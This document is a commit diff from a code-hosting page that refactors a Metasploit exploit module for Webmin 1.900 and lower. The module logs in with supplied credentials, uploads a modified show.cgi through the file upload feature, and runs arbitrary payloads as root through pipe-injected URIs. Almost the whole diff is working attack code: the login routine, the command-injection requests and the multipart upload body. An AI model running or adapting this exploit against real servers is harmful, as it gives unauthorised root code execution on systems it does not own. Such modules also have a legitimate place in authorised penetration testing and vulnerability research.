parent
b49b7ca9db
commit
bd1cd7fae8
|
@ -15,22 +15,25 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Description' => %q(
|
'Description' => %q(
|
||||||
This module exploits an arbitrary command execution vulnerability in Webmin
|
This module exploits an arbitrary command execution vulnerability in Webmin
|
||||||
1.900 and lower versions. Any user authorized to the "Java file manager"
|
1.900 and lower versions. Any user authorized to the "Java file manager"
|
||||||
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
|
and "Upload and Download" fields can execute arbitrary commands with root
|
||||||
|
privileges.
|
||||||
|
|
||||||
In addition, if the 'Running Processes' (proc) privilege is set the user can
|
In addition, if the 'Running Processes' (proc) privilege is set the user can
|
||||||
accurately determine directory upload to. Webmin application files can be
|
accurately determine which directory to upload to. Webmin application files
|
||||||
written/overwritten, thus allowing RCE root. The module has been tested
|
can be written/overwritten, which allows remote code execution. The module
|
||||||
successfully with Webmin 1900 over Debia'cookie' "redirect=1; testing=1;
|
has been tested successfully with Webmin 1900 on Debian 4.9.18.
|
||||||
sid=#{session}"n 4.9.18.
|
|
||||||
Using GUESSUPLOAD attempts to use a default installation path in order to trigger the
|
Using GUESSUPLOAD attempts to use a default installation path in order to
|
||||||
exploit.
|
trigger the exploit.
|
||||||
),
|
),
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
|
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
|
||||||
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
|
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
['EDB', '46201'],
|
||||||
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
|
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
|
||||||
],
|
],
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
|
@ -44,144 +47,112 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'RequiredCmd' => 'generic perl ruby python telnet'
|
'RequiredCmd' => 'generic perl ruby python telnet'
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'RPORT' => 10000,
|
||||||
|
'SSL' => true
|
||||||
|
},
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Targets' => [['Webmin <= 1.900', {}]],
|
'Targets' => [['Webmin <= 1.900', {}]],
|
||||||
'DisclosureDate' => 'Jan 17 2019',
|
'DisclosureDate' => 'Jan 17 2019',
|
||||||
'DefaultTarget' => 0)
|
'DefaultTarget' => 0)
|
||||||
)
|
)
|
||||||
register_options(
|
register_options [
|
||||||
[
|
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
||||||
Opt::RPORT(10000),
|
|
||||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
||||||
OptBool.new('GUESSUPLOAD', [true, "If no 'proc' permissions exists use default path.", false]),
|
|
||||||
OptString.new('USERNAME', [true, 'Webmin Username']),
|
OptString.new('USERNAME', [true, 'Webmin Username']),
|
||||||
OptString.new('PASSWORD', [true, 'Webmin Password'])
|
OptString.new('PASSWORD', [true, 'Webmin Password'])
|
||||||
], self.class
|
]
|
||||||
)
|
end
|
||||||
|
|
||||||
|
def login
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/session_login.cgi',
|
||||||
|
'cookie' => 'testing=1',
|
||||||
|
'vars_post' => {
|
||||||
|
'page' => '',
|
||||||
|
'user' => datastore['USERNAME'],
|
||||||
|
'pass' => datastore['PASSWORD']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
|
||||||
|
return $1
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil unless res
|
||||||
|
''
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
# Target and input verification
|
# Target and input verification
|
||||||
##
|
##
|
||||||
|
|
||||||
def check
|
def check
|
||||||
vprint_status("Attempting to login...")
|
cookie = login
|
||||||
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
|
return CheckCode::Detected if cookie == ''
|
||||||
res = send_request_cgi(
|
return CheckCode::Unknown if cookie.nil?
|
||||||
{
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => "/session_login.cgi",
|
|
||||||
'cookie' => "testing=1",
|
|
||||||
'data' => data
|
|
||||||
}, 25
|
|
||||||
)
|
|
||||||
|
|
||||||
if res && res.code == 302 && res.get_cookies =~ /sid/
|
vprint_status('Attempting to execute...')
|
||||||
print_good "Login successful"
|
command = "echo #{rand_text_alphanumeric(0..9)}"
|
||||||
session = res.get_cookies.split("sid=")[1].split(";")[0]
|
|
||||||
else
|
|
||||||
print_error "Service found, but login failed"
|
|
||||||
return Exploit::CheckCode::Detected
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Attempting to execute...")
|
|
||||||
|
|
||||||
command = "echo #{rand_text_alphanumeric(rand(0..9))}"
|
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
{
|
{
|
||||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
||||||
'cookie' => "sid=#{session}"
|
'cookie' => "sid=#{cookie}"
|
||||||
}, 25
|
}, 25
|
||||||
)
|
)
|
||||||
|
|
||||||
if res && res.code == 200 && res.message =~ /Document follows/
|
if res && res.code == 200 && res.message =~ /Document follows/
|
||||||
return Exploit::CheckCode::Vulnerable
|
return CheckCode::Vulnerable
|
||||||
else
|
|
||||||
return Exploit::CheckCode::Safe
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
# Exploiting phase
|
# Exploiting phase
|
||||||
##
|
##
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
peer = "#{rhost}:#{rport}"
|
cookie = login
|
||||||
print_status("Attempting to login...")
|
if cookie == '' || cookie.nil?
|
||||||
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
|
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
|
||||||
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => "/session_login.cgi",
|
|
||||||
'cookie' => "testing=1",
|
|
||||||
'data' => data
|
|
||||||
}, 25
|
|
||||||
)
|
|
||||||
|
|
||||||
if res && res.code == 302 && res.get_cookies =~ /sid/
|
|
||||||
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
|
||||||
if session && !session.empty?
|
|
||||||
print_good "Login successfully"
|
|
||||||
else
|
|
||||||
print_error "Authentication failed"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error "Authentication failed"
|
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
print_good("Session cookie: #{cookie}")
|
||||||
|
|
||||||
##
|
##
|
||||||
# Directory and SSL verification for referer
|
# Directory and SSL verification for referer
|
||||||
##
|
##
|
||||||
ps = datastore['SSL'].to_s
|
phost = ssl ? 'https://' : 'http://'
|
||||||
guess_dir = datastore['GUESSUPLOAD'].to_s
|
phost << peer
|
||||||
if ps == "true"
|
print_status("Target URL => #{phost}")
|
||||||
ssl = "https://"
|
|
||||||
else
|
|
||||||
ssl = "http://"
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Target URL => #{ssl}#{peer}")
|
res = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
res1 = send_request_raw(
|
'uri' => '/proc/index_tree.cgi',
|
||||||
'method' => "POST",
|
|
||||||
'uri' => "/proc/index_tree.cgi?",
|
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1"
|
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
||||||
},
|
},
|
||||||
'cookie' => "redirect=1; testing=1; sid=#{session}"
|
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
||||||
)
|
)
|
||||||
|
unless res && res.code == 200
|
||||||
|
fail_with(Failure::Unknown, 'Request failed')
|
||||||
|
end
|
||||||
|
|
||||||
if res1 && res1.code == 200 && res1.body =~ /Running Processes/
|
print_status 'Searching for directory to upload...'
|
||||||
print_status "Searching for directory to upload..."
|
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
|
||||||
stpdir =
|
directory = $1
|
||||||
res1
|
elsif datastore['GUESSUPLOAD']
|
||||||
.body.scan(/perl.+miniserv.pl/)
|
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
|
||||||
.map { |s| s.split("perl ").last }
|
directory = '/usr/share/webmin/'
|
||||||
.map { |d| d.split("miniserv").first }
|
|
||||||
.map { |d| d.split("miniserv").first }
|
|
||||||
if !stpdir[0].nil?
|
|
||||||
dir = stpdir[0] + "file"
|
|
||||||
print_good("Directory to upload => #{dir}")
|
|
||||||
elsif guess_dir == "true" && stpdir[0].nil?
|
|
||||||
array = ["/usr/share/webmin/file"]
|
|
||||||
array.each do |i|
|
|
||||||
print_good("Attempting: " + i)
|
|
||||||
upload_attempt(ssl, peer, session, i)
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Running processed check failed, not guessing uploads. Quitting.")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
else
|
else
|
||||||
print_error "No access to processes or no upload directory found."
|
print_error('Failed to determine webmin share directory')
|
||||||
|
print_error('Set GUESSUPLOAD to attempt upload to a default location')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
directory << 'file'
|
||||||
|
upload_attempt(phost, cookie, directory)
|
||||||
|
|
||||||
##
|
##
|
||||||
# Loading phase of the vulnerable file
|
# Loading phase of the vulnerable file
|
||||||
|
@ -189,23 +160,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
##
|
##
|
||||||
print_status("Attempting to execute the payload...")
|
print_status("Attempting to execute the payload...")
|
||||||
command = payload.encoded
|
command = payload.encoded
|
||||||
res = send_request_cgi(
|
res = send_request_cgi({
|
||||||
{
|
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(0..9)}|#{command}|",
|
||||||
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(0..9))}|#{command}|",
|
'cookie' => "sid=#{cookie}"
|
||||||
'cookie' => "sid=#{session}"
|
})
|
||||||
}, 25
|
|
||||||
)
|
|
||||||
|
|
||||||
if res && res.code == 200 && res.message =~ /Document follows/
|
if res && res.code == 200 && res.message =~ /Document follows/
|
||||||
print_good "Payload executed successfully"
|
print_good 'Payload executed successfully'
|
||||||
else
|
else
|
||||||
print_error "Error executing the payload"
|
print_error 'Error executing the payload'
|
||||||
return
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_attempt(ssl, peer, session, dir)
|
def upload_attempt(phost, cookie, dir)
|
||||||
boundary = Rex::Text.rand_text_alphanumeric(29)
|
boundary = rand_text_alphanumeric(29)
|
||||||
|
|
||||||
data2 = "-----------------------------#{boundary}\r\n"
|
data2 = "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
|
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
|
||||||
|
@ -258,39 +226,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
|
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
|
||||||
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
|
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
|
||||||
data2 << "\r\n\r\n"
|
data2 << "\r\n\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
|
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
|
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
|
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
|
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
|
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
|
||||||
data2 << "-----------------------------{boundary}\r\n"
|
data2 << "-----------------------------#{boundary}\r\n"
|
||||||
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
|
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
|
||||||
data2 << "-----------------------------{boundary}--\r\n"
|
data2 << "-----------------------------#{boundary}--\r\n"
|
||||||
|
|
||||||
res2 = send_request_raw(
|
res2 = send_request_raw(
|
||||||
'method' => "POST",
|
'method' => 'POST',
|
||||||
'uri' => "/updown/upload.cgi?id=154739243511",
|
'uri' => "/updown/upload.cgi?id=#{rand_text_numeric(8..12)}",
|
||||||
'data' => data2,
|
'data' => data2,
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
|
'Content-Type' => "multipart/form-data; boundary=---------------------------#{boundary}",
|
||||||
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1"
|
'Referer' => "#{phost}/updown/?xnavigation=1"
|
||||||
},
|
},
|
||||||
'cookie' => "redirect=1; testing=1; sid=#{session}"
|
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
||||||
)
|
)
|
||||||
|
|
||||||
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
||||||
print_good "Vulnerable show.cgi file was successfully uploaded."
|
print_good 'Vulnerable show.cgi file was successfully uploaded.'
|
||||||
else
|
else
|
||||||
print_error "Upload failed."
|
print_error 'Upload failed.'
|
||||||
return
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue